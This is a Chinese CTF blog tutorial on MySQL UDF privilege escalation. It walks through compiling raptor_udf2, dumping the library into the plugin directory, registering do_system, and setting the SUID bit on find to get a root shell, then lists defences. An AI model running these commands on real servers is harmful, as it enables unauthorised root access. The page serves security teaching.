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<ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> linux</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li><li class="chapter-item "><a href="../../posts/linux/run_x86_elf_in_x64_setup.html"><strong aria-hidden="true">1.6.</strong> run x86 elf in x64 setup</a></li></ol></li><li class="chapter-item "><a href="../../posts/mac/mac.html"><strong aria-hidden="true">2.</strong> mac</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/mac/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> swift</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in鑱絊wift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> ios</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> objective_c</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> dart</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> rust</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/rust_logger_non-block.html"><strong aria-hidden="true">7.25.</strong> rust logger non-block</a></li><li class="chapter-item "><a href="../../posts/rust/rust_connect_sql_server_database.html"><strong aria-hidden="true">7.26.</strong> rust connect sql server database</a></li><li class="chapter-item "><a href="../../posts/rust/rust_websocket_implment.html"><strong aria-hidden="true">7.27.</strong> rust websocket implment</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> java</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> python</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> go</a></li><li class="chapter-item "><a href="../../posts/js/js.html"><strong aria-hidden="true">11.</strong> js</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/js/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/js/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/js/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/js/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/js/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/js/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/js/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/js/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> ruby</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item "><a href="../../posts/ruby/ruby_note.html"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> react</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> vue</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> angular</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> css</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> php</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">18.</strong> leetcode</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">18.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">18.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">18.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">18.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">18.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">18.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">18.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">18.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">19.</strong> ctf</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">19.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">19.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">19.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">19.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">19.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">19.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">19.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">19.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">19.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">19.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">19.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">19.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">19.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">19.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">19.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">19.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">19.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">19.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">19.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item "><a href="../../posts/ctf/2.1_XXE.html"><strong aria-hidden="true">19.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">19.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">19.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">19.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">19.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.26.</strong> PWN_note</a></li><li class="chapter-item "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html"><strong aria-hidden="true">19.27.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">19.28.</strong> PWN Patch defense skill</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_stack_overflow.html"><strong aria-hidden="true">19.29.</strong> PWN stack overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_heap_overflow.html"><strong aria-hidden="true">19.30.</strong> PWN heap overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_format_string_vulnerability.html"><strong aria-hidden="true">19.31.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item "><a href="../../posts/ctf/kali_linux_tutorials.html"><strong aria-hidden="true">19.32.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">19.33.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">19.34.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">19.35.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">19.36.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_train_at_hangzhou.html"><strong aria-hidden="true">19.37.</strong> ctf train at hangzhou</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_common_mindmap_list.html"><strong aria-hidden="true">19.38.</strong> ctf common mindmap list</a></li><li class="chapter-item "><a href="../../posts/ctf/error_based_sql_injection.html"><strong aria-hidden="true">19.39.</strong> Error Based SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/urlfinder_tutorial.html"><strong aria-hidden="true">19.40.</strong> URLFinder Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/observer_ward_tutorial.html"><strong aria-hidden="true">19.41.</strong> observer_ward Tutorial</a></li><li class="chapter-item expanded "><a href="../../posts/ctf/mysql_udf_.html" class="active"><strong aria-hidden="true">19.42.</strong> MySQL UDF 提权</a></li><li class="chapter-item "><a href="../../posts/ctf/nuclei__tutorial.html"><strong aria-hidden="true">19.43.</strong> Nuclei Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/2024_ctf_solution_thinking.html"><strong aria-hidden="true">19.44.</strong> 2024 ctf solution thinking</a></li><li class="chapter-item "><a href="../../posts/ctf/man_che_si_te_bian_ma.html"><strong aria-hidden="true">19.45.</strong> 曼彻斯特编码</a></li></ol></li></ol>
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<h1 id="mysql-udf-提权"><a class="header" href="#mysql-udf-提权">MySQL UDF 提权</a></h1>
<p>MySQL 的用户自定义函数（User-Defined Functions, UDF）是一种扩展 MySQL 功能的方法，它允许开发者使用 C 或 C++ 语言编写新的 SQL 函数。这些函数可以在 SQL 查询中直接调用，以执行特定的任务，比如复杂的计算或字符串处理。然而，如果 MySQL 服务器的配置不安全，攻击者可以利用 UDF 来提升权限，甚至执行系统命令，这种技术被称为 UDF 提权。</p>
<h3 id="udf-提权原理"><a class="header" href="#udf-提权原理">UDF 提权原理</a></h3>
<p>UDF 提权的核心是利用 MySQL 的动态链接库加载机制来执行任意代码。攻击者通常会遵循以下步骤：</p>
<ol>
<li><strong>获取 MySQL 控制权限</strong>：首先需要有一个能够连接到 MySQL 服务器的账户，并且该账户具有足够的权限来创建和删除函数。最理想的情况是拥有 <code>root</code> 账户。</li>
<li><strong>确保写入文件权限</strong>：MySQL 需要具备写入文件的权限，这通常通过检查 <code>secure_file_priv</code> 变量来确认。如果其值为空，则 MySQL 可以在任何目录下写入文件；如果为 <code>/tmp/</code>，则只能写入 <code>/tmp/</code> 目录；如果为 <code>NULL</code>，则不允许导入导出操作。</li>
<li><strong>上传恶意 UDF 文件</strong>：攻击者需要将一个恶意的 UDF 文件（通常是 <code>.dll</code> 文件在 Windows 系统上或 <code>.so</code> 文件在 Linux 系统上）上传到 MySQL 服务器上的某个位置。这个文件包含了一个或多个函数，这些函数可以用来执行系统命令。</li>
<li><strong>注册 UDF</strong>：使用 <code>CREATE FUNCTION</code> 语句在 MySQL 中注册恶意 UDF 文件中的函数。</li>
<li><strong>执行系统命令</strong>：通过 SQL 查询调用新注册的 UDF 函数，从而间接地执行系统命令。</li>
</ol>
<h3 id="漏洞利用条件"><a class="header" href="#漏洞利用条件">漏洞利用条件</a></h3>
<p>为了成功实施 UDF 提权，攻击者需要满足以下条件：</p>
<ul>
<li><strong>MySQL 版本与配置</strong>：不同的 MySQL 版本可能要求 UDF 文件放置在不同的目录下。例如，对于 MySQL 5.1 及以上版本，UDF 文件通常需要放在 MySQL 安装目录下的 <code>lib/plugin</code> 文件夹内。</li>
<li><strong>账户权限</strong>：至少需要 <code>INSERT</code> 和 <code>DELETE</code> 权限来创建和删除函数。最好有 <code>CREATE</code> 和 <code>FILE</code> 权限，特别是 <code>root</code> 账户默认就拥有这些权限。</li>
<li><strong>文件权限</strong>：MySQL 必须能够写入文件，这意味着 <code>secure_file_priv</code> 设置不能限制 MySQL 写入指定目录之外的地方。</li>
</ul>
<h3 id="实战案例"><a class="header" href="#实战案例">实战案例</a></h3>
<p>假设攻击者已经获取了 MySQL 的 <code>root</code> 访问权限，并且 <code>secure_file_priv</code> 的值为空，那么攻击者可以按照以下步骤进行提权：</p>
<ol>
<li><strong>编译恶意 UDF</strong>：</li>
</ol>
<pre><code class="language-bash">gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
</code></pre>
<ol start="2">
<li>
<p><strong>上传 UDF 到 MySQL 服务器</strong>：可以通过多种方式实现，如 FTP、SCP 或者 Webshell。</p>
</li>
<li>
<p><strong>在 MySQL 中创建表并插入 UDF 文件</strong>：</p>
</li>
</ol>
<pre><code class="language-sql">use mysql;
create table foo(line blob);
insert into foo values(load_file('/path/to/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
</code></pre>
<ol start="4">
<li><strong>创建 UDF 函数</strong>：</li>
</ol>
<pre><code class="language-sql">create function do_system returns integer soname 'raptor_udf2.so';
</code></pre>
<ol start="5">
<li><strong>执行系统命令</strong>：</li>
</ol>
<pre><code class="language-sql">select do_system('whoami');
select do_system('chmod u+s /usr/bin/find');
exit
touch hello
find hello -exec "/bin/sh" \;
</code></pre>
<p>在这个例子中，<code>do_system</code> 函数被用来执行任意系统命令。一旦攻击者能够运行这样的命令，他们就能够获得对系统的控制权。</p>
<h3 id="防御措施"><a class="header" href="#防御措施">防御措施</a></h3>
<p>防止 UDF 提权的关键在于加强 MySQL 服务器的安全性：</p>
<ul>
<li><strong>限制用户权限</strong>：不要给非必需的用户授予 <code>CREATE</code> 和 <code>FILE</code> 权限。</li>
<li><strong>设置 <code>secure_file_priv</code></strong>：将其设置为仅允许写入受控目录，最好是 <code>NULL</code> 以完全禁用导入导出功能。</li>
<li><strong>监控 UDF 创建</strong>：定期审计数据库，检查是否有未经授权的 UDF 创建活动。</li>
<li><strong>保持更新</strong>：及时应用 MySQL 的安全补丁和更新，关闭不必要的服务和端口。</li>
</ul>
<p>通过上述措施，可以显著降低 UDF 提权的风险。同时，也建议部署入侵检测系统 (IDS) 和日志监控工具来帮助发现潜在的安全威胁。</p>
<h1 id="老师的笔记"><a class="header" href="#老师的笔记">老师的笔记</a></h1>
<h1 id="Duc9u"><a class="header" href="#Duc9u">前言：</a></h1>
> MySQL 用户自定义函数（User-Defined Function，简称 UDF）是一种允许开发者扩展 MySQL 功能的机制。通过 UDF，开发者可以使用 C 或 C++ 编写自定义的函数，并将这些函数编译为共享库文件，然后在 MySQL 中注册和使用这些函数。
>
>
>
> UDF 提供了一种方法，使得开发者可以在 SQL 查询中使用自定义的函数，这些函数可以执行标准 SQL 函数无法完成的操作。例如，开发者可以创建一个 UDF 来执行复杂的数学计算，或者与操作系统进行交互。
>
> 然而，UDF 也带来了一些安全风险。因为 UDF 允许执行任意的 C 或 C++ 代码，所以如果攻击者能够在 MySQL 中注册他们自己的 UDF，他们就可能能够执行恶意的操作。这就是为什么创建和使用 UDF 需要 `SUPER` 权限，以确保只有信任的用户能够使用这个功能。
>
<h1 id="Nc617"><a class="header" href="#Nc617">UDF 提权条件</a></h1>
📌 MySQL 用户自定义函数（UDF）提权漏洞通常涉及到两个主要部分：利用 `SUPER` 权限创建恶意的 UDF，以及在具有文件系统访问权限的情况下将恶意 UDF 库文件放置在 MySQL 服务器可以访问的位置，所需权限如下： - 攻击者获取了 SQL 语句执行的权限 - 且登录必须要有`SUPER`、`FILE` 权限 - `secure_file_priv` 系统变量为空 **获取SQL语句执行权限**：通过SQL注入或者弱口令爆破等方式获取SQL语句执行权限； **创建恶意 UDF**：UDF 允许用户在 MySQL 中定义新的函数，这些函数实际上是在 C 或者 C++ 中编写的动态链接库（DLL）。如果攻击者获得了 `SUPER` 权限，他们可以创建指向恶意 DLL 的 UDF，这个 DLL 可以执行任意代码。 **利用文件系统访问**：在 MySQL 中，UDF 库需要位于 MySQL 服务器可以访问的文件系统位置。如果攻击者具有将文件放置在这些位置的权限（例如，`FILE` 权限或者操作系统级别的权限），他们可以将恶意 DLL 放置在这些位置。 当这两个条件都满足时，攻击者可以在 MySQL 服务器上执行任意代码，这通常可以用来提升权限，执行其他攻击，或者对系统进行其他恶意操作。 这就是为什么在生产环境中，应该尽量避免给用户赋予 `SUPER` 和 `FILE` 权限，特别是对外部暴露的用户。此外，应该定期检查和更新系统，以防止已知的安全漏洞被利用。
<blockquote>
